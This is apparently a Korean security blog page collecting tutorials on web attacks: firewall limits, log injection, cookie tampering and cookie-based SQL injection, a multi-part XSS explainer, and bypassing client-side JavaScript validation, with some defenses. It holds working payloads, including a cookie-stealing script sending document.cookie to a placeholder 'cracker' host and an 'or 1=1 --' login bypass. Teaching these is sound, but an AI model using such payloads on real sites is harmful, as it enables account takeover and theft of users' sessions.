이것을 짚고 넘어 가기 전에 방화벽과 같은 침입감시,탐지,제어 시스템에 대해

간략히 알아 봅니다.

아래에는 클라이언트가 서버로 보내는 패킷의 구조를 나타냅니다.

 

 

위 그림처럼 클라이언트에서 서버로 전달되는 패킷에는 자신의 IP , Port

목적지 IP, Port 그리고 Data 가 포함됩니다.

(이외에도 여러 정보들이 있습니다. TCP 통신관련 서적을 참고 하세요)

.. 그럼 알려진 침입감시,탐지,제어 시스템으로는 방화벽,IDS,IPS 등의 보안제품이

있는데 이 들은 과연 무얼 탐지 할까요?

 

 

위 그림에 빨간 직선으로 표시된 것처럼 이들은 일반적으로 소스 IP,Port, 그리고

목적지 IP,Port 에 대한 탐지 및 제어를 합니다.

, 방화벽과 IDS, IPS 등의 보안 제품은 주로 네트워크 계층에서의 감시,방어를
수행하는 것입니다. Data 부분은 보지 않는다는 것입니다.

, 이들 보안 제품에서 위 패킷 중 Data 를 감지 하도록 할 수도 있긴 합니다.

방화벽의 경우 Data를 보게 하기 위해 프로토콜 별로 Application Gateway
따로 붙이면 됩니다. (ex: HTTP – TCP 80 , FTP – TCP 25 )

그러나 여기에도 한계는 있습니다.

Application Gateway가 설정되었더라 해도 Data 를 검사할 때 바이러스 코드, 웜과 같은

유해 코드들만 감지하고 차단 시킵니다.

(각 장비들은 자신만의 유해 트래픽 DB 를 가지고 있습니다)

, 이런 유해 코드가 아닌 정상적인 값들은 탐지 하지 않는다는 것입니다.

웹으로 전달되는 웹 용 악성 코드(?)는 일반적인 바이러스나 웜과 같은 유해 코드가

절대로 아닙니다. 이들 보안 장비에서 판단하기에는 웹 용 악성코드는 지극히

정상적인 값으로 인식합니다.

(참고 : 일부 IPS 제품은 웹 방화벽 역할을 하는 것도 있습니다 판매회사에 문의 하세요^^)

잘 알려진 SQL 인젝션이나 쿠키변조, XSS 등의 대표 웹 공격패턴에 실려 오는

데이터는 유해코드도 아니며 잘못된 값도 아닙니다.

여기서 또 하나 짚고 넘어 갑시다.

웹이 보안에 취약한 이유 2> 방화벽 , IDS, IPS 와 같은 보안 장비를 이용한 네트워크

계층에서의 보안으로는 어플리케이션 계층에 대한 공격을 차단할 수 없다.

아래 그림은 지금까지 설명한 내용을 도식화 한 것입니다.

 

 

결론적으로 말하자면 웹 환경은 오픈 된 프로토콜과 포트상에서 통신이 이루어 지며

네트워크계층의 보안으로는 웹 응용프로그램 영역의 공격에는 의미가 없다는 것입니다.

그렇다면 과연 네트워크 보안 장비가 정상이라고 판단하는 Data 중 어떤 Data

웹 공격용 Data 로 사용되는 것일까요??

이 것을 알면 웹이 보안에 취약한 정확한 이유를 알 수 있을 것입니다.

 

[웹 보안 시리즈] 1~7 출처 : http://www.mkex.pe.kr

'보안' 카테고리의 다른 글

4. 데이터 변조 – 세션 변조를 통한 불법 로그인  (0) 2010.11.23
2. SQL INJECTION  (0) 2010.11.23
Log Injection  (0) 2010.11.23
Web Hacking 4탄 쿠키취약점  (0) 2010.11.23
XSS 공격 기법  (2) 2010.11.23
:

Log Injection

보안 2010. 11. 23. 18:36

Log Injection

 

 

log injection이란 sql injection처럼 파라미터를 통해 로깅을 조절하는 방법을 말합니다

 

보통 웹 어플리케이션에서 log4j 등을 이용해 파일에 로깅을 합니다

일반적으로는 장애 발생시 에러 추적을 위해 사용됩니다

하지만 데이터 유실시 복구 방침으로 로깅을 하기도 하고요, 그냥 말 그대로 그냥 로깅을 하기도 하지요 또한 로그 파일을 파싱하여 무언가 통계를 내기도 합니다(웹CRM)

 

일반적으로 로그인에 대한 로깅을 파일에 다음과 같이 합니다 (로그인예가 아니더라도..)

String userid = request.getParameter("userid");

...

if (로그인성공)

    log.write("User login succeeded for : " + userid);

else

    log.write("User login failed for : " + userid);

 

로그가 정상적으로 기록된다면 아마 다음과 같은 형태가 될겁니다

User login succeeded for : guest

User login succeeded for : admin

 

그렇다면 로그인시 다음과 같은 문자열을 입력했으면 어떻게 될까요?

guest\nUser login succeeded for : admin

 

그럼 로그 결과는 다음과 같이 출력됩니다

User login succeeded for : guest

User login succeeded for : admin

User login succeeded for : admin

붉은색 부분이 사용자가 입력한 부분이죠

 

여기서는 간단한 예를 들었습니다만 여러가지면으로 활용이 가능할 겁니다

로깅파일을 100% 신뢰할 수 없다는 것이지요 ^^


'보안' 카테고리의 다른 글

2. SQL INJECTION  (0) 2010.11.23
1. 웹은 보안에 취약하다? 왜???  (0) 2010.11.23
Web Hacking 4탄 쿠키취약점  (0) 2010.11.23
XSS 공격 기법  (2) 2010.11.23
Web Hacking 3탄 구멍난 자바스크립트  (0) 2010.11.23
:

Web Hacking 4탄 쿠키취약점

보안 2010. 11. 23. 18:36

Web Hacking 1탄 SQL Injection

Web Hacking 2탄 파일조작

Web Hacking 3탄 구멍난 자바스크립트

Web Hacking 4탄 쿠키취약점

 

 

말도많고 탈도많은 쿠키!! 어떻게 사용하면 잘사용 하는걸까요?

앞으로 나오는 document.cookie등은 자동으로 "no_"앞에 가 붙습니다

Unicorn3에서 보안상 필터링하게 되어있기 때문입니다 앞에 "no_"가 없는것으로 간주하시면 됩니다

 

쿠키취약점

쿠키로 인증하는 사이트에 접속하여 로그인한 후 쿠키값 확인을 해봅니다

javascript:alert(document.cookie)

 

로그인 하지 않은 상태라면 다음과 같이 세션 아이디만 나오게 되며


 

로그인 한 상태라면 다음과 같이 쿠키이름과 쿠키값을 쌍으로 정보가 출력됩니다



 

관리자 아이디가 goodbug 라고 가정하고 이 아이디로 조작하기 위해서는 다음과 같이 입력합니다

javascript:a=prompt(document.cookie,"");alert(document.cookie=a)

 

그럼 프롬프트창이 하나 나타나며 이 부분에 다음과 같이 입력합니다


 

어떤 쿠키이름이 아이디를 나타내는 것일까요?

몇가지 없으니 가장 유력한 이름부터 하나씩 해보면 됩니다

UID=goodbug

 

다시 javascript:alert(document.cookie) 를 통해 쿠키값을 확인합니다


UID가 goodbug로 변경이 되었습니다

즉 내계정을 통해 goodbug로 로그인한것과 동일한 효과를 가져왔습니다!!

만약 쿠키로만 인증하는 방식이라면 타계정의 접속이나 관리자 화면으로 쉽게 들어갈 수 있습니다

 

 

 쿠키를 이용한 SQL Injection

쿠키를 이용하여 일반 로그인 화면이나 관리자 화면을 통화할 수 있습니다

SQL Injection이 어느정도 알려졌기 때문에 로그인 폼으로 부터 넘어온 아이디나 비밀번호 정보들을

일정 값들로 치환하는 경우를 볼 수 있습니다

즉 '나 ", -, \ #등의 SQL Injection에 활용되는 문자들을 무력화 시키곤 합니다

하지만 이역시 쿠키 SQL Injection을 통해 간단히 통과할 수 있습니다

 

마찬가지 방법으로 자신의 계정으로 로그인 하여 쿠키를 생성 한 후 다음과 같이 값을 변경합니다

UID=goodbug' or 1=1 --

관리자 화면은 화면마다 아이디를 이용해 인증을 할것입니다

하지만 이 관리자 아이디를 쿠키로 읽어온다면 아마 많은 허점이 생길겁니다

보통 쿠키로 부터 읽어온 값은 '나 --등은 체크하지 않죠

그래서 인증 관련된 부분은 항상 "특정문자를 치환+Statement" 보다는 "PreparedStatement"를 사용해야 합니다

 

 

 쿠키취약점 보안 및 결론

 -. 쿠키에 값을 구울때는 그 값을 "암호화" 하여 저장하고, 다시 읽어올때는 "역암호화"하여 사용합니다

 -. 로그인시에 IP도 쿠키에 같이 구워버리고, 데이터베이스에도 저장하며, 항상 실제 아이피와 비교하여 사용합니다

 -. 쿠키는 웹서버가 클라이언트에 남겨놓은 정보입니다

     그래서 쿠키는 클라이언트가 마음대로 조작하는것이 가능하기때문에 서버는 어떤일이 일어나는지 검사해야 한다는 것입니다

 

ps. 대형사이트에서는 IDS에 걸릴수 있으니 주의하세요


'보안' 카테고리의 다른 글

1. 웹은 보안에 취약하다? 왜???  (0) 2010.11.23
Log Injection  (0) 2010.11.23
XSS 공격 기법  (2) 2010.11.23
Web Hacking 3탄 구멍난 자바스크립트  (0) 2010.11.23
Web Hacking 2탄 파일조작  (0) 2010.11.23
:

XSS 공격 기법

보안 2010. 11. 23. 18:35

1. XSS취약점에 관한 글을 시작하며...

 

최근 해킹의 Trend를 얘기하자면 단연 WEB해킹이라고 얘기할 수 있을것이고

이 WEB해킹중에서도 "XSS취약점"은 "SQL-Injection"취약점과 함께 WEB해킹의

대표적 기법이라고 할 수 있을것입니다.

 

"크로스 사이트 스크립팅"이라고 불리우는 "XSS취약점"은 보안에 대한 지식이

없는 웹프로그래머에 의해 개발된 WEB어플리케이션에서 발견되는 

어플리케이션(HTTP) 관련 취약점입니다. 따라서 방화벽이나 IDS, 바이러스백신등과

같은 기존의 보안대책들이 이 XSS취약점에 대해서는 거의 감지하지 못하는 상황입니다.

이와같은 이유로 해서 지금까지도 많은 수의 WEB어플리케이션들이 이 취약점을 이용한

공격에 거의 무방비로 노출되어 있다고 말할 수 있습니다.

 

이글에서는 XSS가 어떤 취약점인지, 이 취약점을 갖고있는 사이트가 공격받았을 경우

어떤 피해를 입을수 있는지, 왜 그런 security hole이 생기는 건지, 이 취약성에 대한

적절한 대책은 무엇인지에 대해 하나하나 살펴보도록 하겠습니다.

 

전체 글에 대한 개요를 대충 잡고 보니 글이 꽤나 길어질것 같은 생각이 드는군요....

적당히 나눠서 시리즈(?)로 포스팅 하도록 하겠습니다.

 

일단 글의 순서는 다음과 같이 잡겠습니다.

 

1. XSS취약점에 관한글을 시작하며... (오늘 쓴글)

2. WEB어플리케이션 공격기법의 종류

3. XSS의 정의 및 아키텍쳐

4. XSS공격의 순서

5. XSS공격으로 인한 피해

6. HTTP 및 HTML문장내의 Tag문자에 대한 대책

7. 입력값검사를 통한 XSS취약점 대응

8. 입력값검사시 유의점

9. Sanitize(무효화)를 통한 XSS취약점 대응

10. 끝내며...

 

(주1)  이글에서는 "CrossSiteScripting취약점"을 "XSS취약점"이라고 표기했습니다.

       약어는 "CSS"가 맞고 "CSS취약점"이라고 써져있는 글도 있습니다만 "CSS"라는

       약어는 이미 "Cascading Style Sheets"의 약어로 사용되고 있어 혼동될수도

       있기때문에 "CrossSiteScripting취약점"은 보통 "XSS취약점"이라고 하며

       제 글에서도 "XSS"라고 표기하겠습니다. 

 

2. WEB어플리케이션 공격기법의 종류

오늘글은 약간은 주제밖의 얘기가 될것 같긴하지만 "XSS취약점"에 대해

얘기하기전에 대표적인 WEB해킹 기법에는 어떤것들이 있는지 살펴볼까 합니다.

각 항목별 상세설명은 차후에 기회가 될때 하나씩 얘기해보도록 하고 오늘은

간단한 개요정도만 써보도록 하겠습니다.

  A. Cross Site Scripting(크로스 사이트 스크립팅)

      - 게시판이나 웹 메일 등에 악의적인 스크립트를 삽입하여 비정상적인 페이지가

        보이게해 타 사용자의 사용을 방해하거나 쿠키 및 기타 개인정보를 특정 사이트로

        전송하는등의 문제

   B. SQL Injection(SQL문 삽입공격)

      - 웹어플리케이션에 의도적으로 sql문을 삽입하여 로그인 인증과정을 우회하거나

        공격자의 악의적인 쿼리문을 DB에 보낼수 있는 문제

   C. Parameter Manipulation(파라미터 변조)

      - 웹어플리케이션이 사용자의 파라미터값을 검증하지 않을경우 이를 악용하여

         어플리케이션이 비정상적으로 동작하게끔 하는 문제

   D. Brute Force Attacks(반복[사전식]공격)

      - Get이나 Post방식으로 인증하는 페이지에서 특정 ID에 대해 패스워드를 무한

        입력하여 해당 ID의 패스워드를 획득할수 있는 문제

   E. Buffer Overflows(버퍼오버플로우)

      - 웹서버에서 구동되는 실행파일에 비정상적인 버퍼 값을 입력시켜 시스템을 다운

         시키거나 관리자권한을 획득하는 문제

   F. Session Hijacking/Cookie Spoofing (세션 가로채기,쿠키변조)

      - 웹 어플리케이션과 클라이언트간 주고받는 정보를 임의적으로 변경하거나 쿠키

        정보를 변조하여 인증을 회피하거나 중요 정보를 획득하는 문제

   G. User Cgi Upload(사용자cgi 업로드)

      - 사용자가 악의적인 목적으로 웹어플리케이션에서 수행가능한 cgi프로그램을

        (asp,jsp,php,perl등)업로드하여 서버를 공격하는 문제

   H. Remote Administration Flaws(관리자 페이지 접속 공격)

      - 인터넷상에 공개된 관리자 페이지를 다양한 방법으로 공격하여 관리자권한 획득을

        시도하는 문제

   I.  Directory/Path Traversal (디렉토리/경로 탐색)

      - 웹 서버 설정상의 오류나 중요 파일의 위치 오류를 이용하여 디렉터리 리스팅을

        통해 특정파일에 접근하거나 중요정보를 획득할수 있는 문제

 

이상은 주요 WEB공격법을 제가 임의로 나눠본것이고 이것 말고도 PHP로 구현된

웹서버에서만 발견되는 "외부 파일 include취약점"이나 고전적인 "취약한 cgi공격"

등 그 종류가 수없이 많습니다.   

 

이러한 WEB공격들은 종래의 OS공격과는 달리 다음과 같은 몇가지 특징들이 있습니다.

 

   A. 방화벽,IDS등 기존의 보안대책으로는 대응하기 어렵다.

   B. 반드시 서버관리자 권한을 뺐는것이 목적이 아니다.

   C. 각 WEB어플리케이션마다 공격의 패턴이 다르다.

   D. 바이러스나 웜이 아니므로 백신에서 탐지되지 않는다.

   E. 대부분 공격의 흔적이 로그에 남지않는다.

 

3. XSS의 정의 및 아키텍쳐

 

먼저 XSS를 이용해 공격을 한다는것은 사용자의 입력내용을 포함하는 HTTP요청에

대해 동적으로 HTML을 생성하는 어플리케이션(CGI)이 공격대상이 됩니다.

정적인 웹페이지, 즉 일반적인 HTML로 작성된 웹페이지에서는 이 문제는 일어나지

않습니다.

 

이해를 돕기위해 간단한 예제를 보겠습니다.

 



 

                       그림 3-1 : 텍스트입력란이 있는 cgi 프로그램

 

그림 3-1과 같이 텍스트을 입력받는란이 있어 여기에 사용자가 임의의 문자열을

입력한후 "전송하기"버튼을 누르면 사용자의 입력한 문자열을 웹페이지에 

출력해주는 cgi 프로그램이 있다고 하면

결과는 다음과 같을것입니다. 

 



 

그림 3-2 : 사용자가 입력한 문자열을 이용해 동적 HTML페이지를 생성한 결과

 

간단한 예제지만 이처럼 사용자가 입력한 문자열을 이용해 동적 HTML 출력하는

경우에 XSS취약점공격이 끼어들 가능성이 있는 페이지입니다.

그림 3-2를 웹브라우져의 "소스보기' 메뉴를 이용해서 HTML소스를 확인해보면

다음과 같습니다.

 

========================================================

<HTML> <BODY>     메세지 : 안녕하세요 jakehong님! </BODY> </HTML>

========================================================

 

그럼 이번에는 그림3-1 화면에서 굵은폰트속성을 나타내는 HTML 태그를

사용하여 "안녕하세요 <B>jakehong</B>님!"이라고 입력해 본다면

결과가 어떻게 나올것 같나요?

 

XSS취약점에 대한 대비가 안되어있는 cgi프로그램이라면 대부분 아래와

같이 "jakehong" 부분이 굵은 글씨로 출력된 페이지를 보게됩니다.

 



 

                 그림 3-3 : jakehong부분이 굵은폰트로 출력된 화면

 

이 화면의 HTML소스를 보면 다음과 같습니다.

 

========================================================

<HTML> <BODY>     메세지 : 안녕하세요 <B>jakehong</B>님! </BODY> </HTML>

========================================================

 

사용자가 입력한 "안녕하세요 <B>jakehong</B>님!" 문자열을 입력한

그대로 출력하고자 한다면 "안녕하세요 &lt;B&gt;jakehong&lt;/B&gt;님!"

라고 출력해야 하지만 그 부분에 대한 처리를 해주지 않은것입니다.

 

그럼 이번에는 입력란에 "<SCRIPT>alert("까꿍!");</SCRIPT>"라고

입력해 보면 아래 그림과 같이 "까꿍!" 이라고 써진 다이얼로그박스가

나타납니다.

 



 

                  그림 3-4 : 입력란에 <SCRIPT>태그를 입력한 결과

 

HTML소스를 보면

========================================================

<HTML> <BODY>     메세지 : <SCRIPT>alert("까꿍!");</SCRIPT>

</BODY> </HTML>

========================================================

 

예상한대로 웹브라우져는 이 입력값을 스크립트라고 해석해 다이얼로그창을

보여줍니다. 예제에서는 단지 다이얼로그창을 띄운거지만 이 외에도

모든 script를  삽입하는것이 가능할 것입니다.

 

이처럼 웹페이지에 사용자가 임의의 script를 삽입시킬수 있는 문제가 있기

때문에 이를 XSS(Cross Site Scripting)라고 합니다.

예제는 자신이 입력한 스크립트를 자신이 실행하는것이지만 약간만 응용하면

다른사람에 의해 작성된 스크립트를 강제로 실행하게끔 하는것이 가능합니다.

그림 3-4에서 "확인"을 누른후 윈도우창 상단의 URL입력란을 보게되면

 



 

                              그림 3-5 : 그림 3-4 에서 "확인"을 누른후 URL란 확인 

 

====================================================================================

http://127.0.0.1:88/xss/text_r.asp?str=%3CSCRIPT%3Ealert%28%22%B1%EE%B2%E1%21%22%29%3B%3C%2FSCRIPT%3E

====================================================================================

 

이 URL encode 스트링(빨간글자)을 decode하면 이전 페이지에서 사용자가 입력한

<SCRIPT>alert("까꿍!");</SCRIPT>이란 글자가 됩니다.

즉, 이 cgi프로그램은 사용자가 입력한 문자열을 URL뒤에 인자로 추가하여

cgi프로그램에 전달되어 cgi프로그램이 이를 읽어 출력화면의 일부로 웹브라우져에

표시를 하는것입니다.

 

조금만 더 응용해 보겠습니다.

이번엔 XSS 취약점이 있는 웹싸이트에 다음과 같은 웹페이지를 하나 만듭니다.

 

===========================================================

<HTML><BODY bgcolor="black" link="white"><A HREF='http://공격자사이트/text_r.asp?str=<script>alert("Merong~") ;</script>'>여기를 클릭 </A></BODY>

</HTML>

===========================================================

 



 

            그림 3-6 : 다른싸이트에 있는 script를 수행하는 예제

 

만일 사용자가 해커가 만들어논 이 페이지를 클릭하게 되면

 

=============================================================================

http://공격자싸이트/text_r.asp?str=<script>alert("Merong~") ;</script>

=============================================================================

 

해커가 사전에 만들어논 공격자싸이트의 cgi프로그램이 수행되면서

위에서 언급한 스크립트가 실행되는것입니다.

이처럼 공격대상싸이트에 공격자싸이트를 크로스(걸쳐서)시켜서 공격하기

때문에 XSS(Cross Site Scripting)이라고 합니다.

 

4. XSS공격의 순서

 

 



 

                                                 그림 4-1 XSS공격의 순서

 

   1. 해커가 사전에 만들어논 웹페이지에 사용자가 브라우져로 엑세스를 시도한다

   2. XSS공격용 link가 포함된 웹페이지가 브라우져에 표시된다.

   3. 사용자가 link를 클릭한다.

   4. 사용자가 느끼지 못하는사이 취약한싸이트에 있는 해커의 스크립트에 엑세스된다.

   5. 사용자의 웹브라우져상에서 해커의 스크립트가 실행된다.

 

이것이 기본적인 XSS공격의 순서지만 이 외에도 다양한 응용이 가능합니다.

위의 5단계 순서에서 흥미로운 부분은 1단계에서 3단계로 이는 사용자가

조작을 선택하도록 되어 있는 부분입니다. 즉, 사용자가 선택하지 않으면 다음

단계로도 진행되지 않는다는 말입니다.

 

하지만 해커는 웹페이지를 교묘하게 위장하여 사용자가 느끼지 못하는 사이에

3단계까지 진행하도록 만들어 놓습니다.

예를들면 인터넷을 돌아다니다 보면 한번쯤 이런 메세지를 본적이 있을것입니다.

 

"이 페이지는 www.***.com으로 변경되었습니다. #초후 자동으로 이동합니다."

 

이 메세지는 싸이트가 자동으로 이동한다는것을 친절하게 안내해주고 있지만

똑같은 원리로 사용자가 직접 link를 클릭하는것을 기다리지 않고 안내 메세지

없이 자동으로 특정페이지로 이동하게끔 만들어 사용자가 눈치채지 못하게

3단계를 실행할 수 있습니다.

 

또 메일내용에 스크립트가 위치한 URL주소를 포함시키거나 많은 사람들이 읽는

게시판에 스크립트가 위치한 URL주소를 포함한 글을 올리는 등의 방법으로

사용자가 느끼지 못하게 1단계를 실행할 수도 있습니다.

 

지난번 글의 예제 프로그램은 파라미터 값이 URL에 인자로 표시되는

GET 메소드를 사용했지만 URL에 전혀 보이지 않는 POST 메소드를

사용해도 똑같은 문제가 일어날수 있습니다.

다시말해 POST 메소드는 XSS취약점의 대안이 될수 없다는 말입니다.

 

5. XSS공격으로 인한 피해

 

이전글 까지는 XSS취약점이란게 무엇인지 대해 얘기를 했었습니다.

오늘은 이 XSS취약점으로 인해 일어날수 있는 피해에는 어떤게 있는지 살펴볼까 합니다.

 

어떤 웹싸이트에 XSS취약점이 존재한다면 해커는 그 취약점을 이용한 공격을

시도할것입니다. 하지만 엄밀히 말해 그 공격이라는것은 XSS취약점이 있는 웹싸이트에

대한 공격이 아니고 그 웹싸이트를 이용하는 사용자들에 대한 공격입니다.

 

이전부터 웹싸이트 사용자를 대상으로 하는 공격은 존재했었지만 그것은 악의적인

코드가 설치된 웹싸이트를 접속한 사용자가 피해를 당하는 것이였습니다.

XSS를 이용한 공격도 특정 웹싸이트에 접속한 사용자가 피해를 입는다는것은

같지만 문제를 일으키는 코드(스크립트)가 어디에 존재하는가의 차이가 있습니다.

그림4-1 XSS공격의 순서

 

지난번 글에도 나왔었던 그림4-1을 다시한번 살펴보겠습니다.

위 그림4-1을 보면 스크립트가 실행되는것은 ⑤단계에서지만 이 페이지가 생성되고

전송되는곳은 cracker가 만들어논 ④단계(XSS가 존재하는 취약싸이트)에서 하게됩니다.

다시 말해 사용자는 cracker가 사전에 만들어논 싸이트로부터 보내져온 스크립트가

사용자 브라우져상에서 실행되어 결국 사용자가 직접적인 피해를 입게 되는 것입니다.

 

스크립트를 이용하여 접근할수 있는 정보의 범위는 일반적으로 그 스크립트를

포함하는 페이지내에 한정됩니다. 쿠키(cookie)도 그 정보들중의 하나입니다.

 

여기에서 XSS 얘기는 잠시 접고 쿠키(cookie)에 대한 얘기를 잠시 해보겠습니다.

쿠키하면 초코칩쿠키같은 과자만 떠오르시는 분은 이 글을 더이상 읽지 마시고

웹브라우져에서의 쿠키의 의미와 역활에 대해 선행학습하시기 바랍니다.

 

예를 들어 해커의 싸이트(http://cracker/cookie.html)에 다음과같은 쿠키를 보여주는

스크립트가 있다고 가정해보겠습니다. 

 

========================================================

<SCRIPT>   alert(document.cookie); </SCRIPT>

========================================================

 

누군가 이 페이지에 접속했을때 이 스크립트가 엑세스할수 있는 쿠키는 스크립트가

보내져온 페이지, 즉  http://cracker/cookie.html  페이지와 관련된 쿠키뿐이지

다른 싸이트에서 발행된 쿠키에는 접근할수 없습니다.

그런데 만일 어떤싸이트에 XSS취약점이 존재한다면 이러한 스크립트를 포함한

페이지가 취약한싸이트에서 보내져 올수가 있게됩니다. 

그렇게되면 그 스크립트가 엑세스할수 있는 쿠키는 취약한싸이트에서 발행된

쿠키가 되는겁니다.

 

이 미묘한 차이에 의해

단순히 공격자가 만들어논 악의적인 스크립트가 실행됐을 경우 와는 다른

피해가 발생하는것입니다.

XSS취약점으로 인한 주요 피해는 다음과 같습니다.

 

1. 쿠키 훔치기(cookie sniffing)

 

    이 문제는 XSS취약점을 이용한 대표적인 피해로써 많이 알려져 있습니다.

    "document.location="http://cracker/cookie.cgi?cookie="+document.cookie;"

    사용자가 위와 같은 스크립트를 실행하게되면 해커의 싸이트의 cookie.cgi가

    수행될때 뒤에 딸린 인자에 사용자의 쿠키가 포함된 형태로 엑세스 하게됩니다.

    이 사용자 쿠키는 공격자의 웹서버로그에도 남을것이고 인자로써 사용자쿠키를

    받은 cookie.cgi에서 어떤 처리라도 할 수가 있습니다.

 

    여기서 한발 더 나아가 사용자의 쿠키를 훔친후에 원래의 페이지(혹은 강제로

    로그아웃 시킨다던지...)를 다시 표시해주는 처리를 해주게 되면 사용자는

    자신이 쿠키를 도둑맞았다는 사실조차 알지 못할수도 있습니다.

    하지만 이렇게 다른사람에게 쿠키정보가 노출된다는것 자체가 문제는 아닙니다.

    다만 이 쿠키의 내용중에 보안상 문제가 될만한 내용을 담고있을 경우

    피해가 발생할 수 있습니다.

    예를들면 로그인을 위한 사용자ID와 패스워드를 쿠키에 담고있는 웹싸이트가

    있다고 가정하면 다른사람이 이 쿠키를 훔쳐갈 경우 해커가 이 ID로 로그인

    하는것이 가능하다는 것입니다.

   

    만일 쿠키에 개인정보를 포함하고 있지 않고 세션ID와 같은 정보만을 보관하고

    있더라도 이 세션ID만으로 사용자인증을 처리하는 경우에는 마찬가지로

    위험하게 됩니다. 

    해커가 훔친 다른 사용자의 세션ID를 자신의 것과 바꿔치기 할 경우 웹싸이트는

    이 해커를 다른 정상적인 사용자로 인증을 하게 되는것입니다.

 

2. 거짓 페이지 보이기 (이걸 공식적(영어)으로 뭐라 부르는지 모르겠습니다.)

 

    <script>....</script> 대신에 <img>같은 그림을 표시하는 태그가 들어있다면

    원래 페이지와는 전혀 관계없는 그림이 표시될것입니다.

    아무 태그나 다 사용할 수 있다면 원래 페이지의 일부를 변조하여 사용자에게

    보여준다거나 원래페이지와 유사한 거짓페이지를 보여주는것도 가능합니다.

    이런 거짓페이지를 보고 진짜라고 믿어 버리는 사람도 적지 않습니다. 

    박진영의 메일 계정/암호가 이런 방법에 의해 해커에게 노출되어 문제가 된 사고도

    있었습니다. 비록 그 사건에 연류된 해커는 잡히긴 했지만 앞으로도 얼마든지

    발생가능한 문제라고 할수 있습니다.

[출처] xss 공격기법|작성자 캔시온


'보안' 카테고리의 다른 글

Log Injection  (0) 2010.11.23
Web Hacking 4탄 쿠키취약점  (0) 2010.11.23
Web Hacking 3탄 구멍난 자바스크립트  (0) 2010.11.23
Web Hacking 2탄 파일조작  (0) 2010.11.23
Web Hacking 1탄 SQL Injection  (1) 2010.11.23
:

Web Hacking 3탄 구멍난 자바스크립트

보안 2010. 11. 23. 18:34

Web Hacking 1탄 SQL Injection

Web Hacking 2탄 파일조작

Web Hacking 3탄 구멍난 자바스크립트

 

 

1. 시작하기

여러분들은 사용자가 입력한 값에대해 어느정도 검증을 하는지요?

사용자 값을 이것저것 따지고 여러가지 유효성을 체크할려면 아주 귀찮은 일이 아닐수 없습니다

그중에 하나가 웹브라우져에서 실행되는 자바스크립트로 체크하는 방법이 있는데 비지니스 로직이 조금 복잡할때는 자바스크립트로 도배를 하는 경우도 종종 있지요

유효성 검증하는일 저도 정~~말 싫어합니다 하지만 해야 합니다 ㅠ.ㅠ

그럼 어디까지 그 유효성을 체크해야 할까요? 자바스크립트로만 체크하면 될까요?

 

처음 웹프로그래밍을 할때는 저도 자바스크립트로만 입력값을 검증하면 되는줄 알았습니다

한마디로 몰랐죠

하지만 이제는 알기때문에 자바스크립트뿐만 아니라 서버쪽에서도 동일하게 체크해 주어야 합니다

사용자가 입력한 값이 얼마나 무서운지는 앞의 1탄, 2탄의 강좌를 통해 어느정도는 감을 잡으셨으리라 생각하고 이번 강좌에서는 왜 서버쪽에서도 체크해야 하는지!에 대해 간략히 알아보겠습니다

 

 

2. 자바스크립트 체크

 

입력값의 자리수가 13자리인지 체크하여 맞으면 submit을 만약 그렇지 않다면 정상적인 입력값을 요구하는 입력갑검사 로직이 있다고 가정하겠습니다 그리고 서버쪽에서는 꼭 13자리가 넘어와야 정상적인 처리를 할수 있다고 하겠습니다

그럼 아래와 같은 간단한 코드가 나올겁니다

 

http://www.jakartaproject.com/html/input.html

<script>

/* 입력한값이 13자리인지 체크 후 전송 */

function validateValue() {
    var obj = document.f.register_no;
    if (obj.value.length != 13) {
        alert('주민번호 정상적으로 입력하세요');
        return false;
    }
}

</script>

 

<form name=f method=post action=process.jsp onsubmit="return validateValue()">
주민번호 <input type=text name=register_no> <input type=submit name=btn value=submit>
</form>


 실제 웹 브라우져에서 보면 아래와 같습니다

"33" 이라는 두자리 수만 입력하니 역시나 재입력을 요구하는 alert창이 떳습니다 (가끔 깜짝깜짝 놀라죠 -,-)


 

 

그럼 정상적으로 "1111111111111" 의 입력값 13자리를 입력해 보겠습니다

 

 


 

그리고 이 값은 process.jsp 라는곳에서 파라미터로 받아 아래와 같이 처리합니다

코드는 간단하게 그 입력값과 레퍼러 값을 보여주겠습니다

 

http://www.jakartaproject.com/html/process.jsp

<%@ page contentType="text/html; charset=euc-kr" %>

 

<%
String register_no = request.getParameter("register_no");
%>

 

헤더정보 <%=request.getHeader("referer")%><br><br>
주민번호 <%=register_no%>

 

request.getHeader("referer")는 헤더정보에서 referer값을 가져오는 함수로, 이전 페이지 주소값을 가져옵니다

그럼 화면은 아래와 같이 나옵니다

 

자 정상적으로 처리되었습니다

 

 

3. 자바 스크립트 우회

그럼 이제부터 자바스크립트로 입력값의 자리수 체크로직을 피해가는 방법을 알아봅시다

어떤 방법이 있을까요?

 

URL로 접근

입력값이 몇가지 되지 않는다면 아래 방법이 가장 편하겠군요

즉 브라우져 주소창에다 직접 입력 합니다

 

http://www.jakartaproject.com/html/process.jsp?register_no=2222

 

아래와 같은 화면이 나올겁니다

메쏘드정보 (request.getMethod())를 찍어보니 GET 이 나오는군요!

그렇다면 이같은 직접 URL값을 막기위해 간단히 POST만 허용하는 로직을 추가해 버립시다

 

http://www.jakartaproject.com/html/process.jsp

<%@ page contentType="text/html; charset=euc-kr" %>

 

<%
if (!"POST".equals(request.getMethod())
   return;

String register_no = request.getParameter("register_no");
%>

 

헤더정보 <%=request.getHeader("referer")%><br><br>
주민번호 <%=register_no%>

이러면 괜찮겠지 흐흐.. 라고만끝나면 안됩니다

 

로컬파일로 접근

①번의 방법은 GET방식때문에 막혔습니다 그러면 자바스크립트를 우회하면서 POST방식으로 보내는 방법은 없을까요? 물론 있습니다

웹브라우져는 "소스보기" 라는 좋은 메뉴가 있습니다 있는건 적극 활용합시다 ㅎㅎ

소스보기한 후 바탕화면에 저장하여 약간 손을 보았습니다

즉 입력값을 체크하는 자바스크립트를 무력화 시키면서, action을 수정해 주었습니다

 

C:\Documents and Settings\Administrator\바탕 화면\client.html

<script>

/* 입력한값이 13자리인지 체크 후 전송 */

function validateValue() {

    return true;
}

</script>

 

<form name=f method=post action="http://www.jakartaproject.com/html/process.jsp" onsubmit="return validateValue()">
주민번호 <input type=text name=register_no> <input type=submit name=btn value=submit>
</form>

 

 

웹화면은 다음과 같겠죠


"submit"버튼을 클릭합니다 ^^

 

역시나 자바스크립트를 거치지 않고 process.jsp에 13자리수가 아닌 "22"값을 무난히 보냈습니다


 

그럼 서버쪽에서는 "어이쿠 이런 헤더정보도 체크해야 겠군" 하고 다음 코드를 추가해 버릴겁니다

즉 레퍼러값이 null인 경우는 허용할수 없다는 것이죠

 

http://www.jakartaproject.com/html/process.jsp

<%@ page contentType="text/html; charset=euc-kr" %>

 

<%

if (!"POST".equals(request.getMethod())
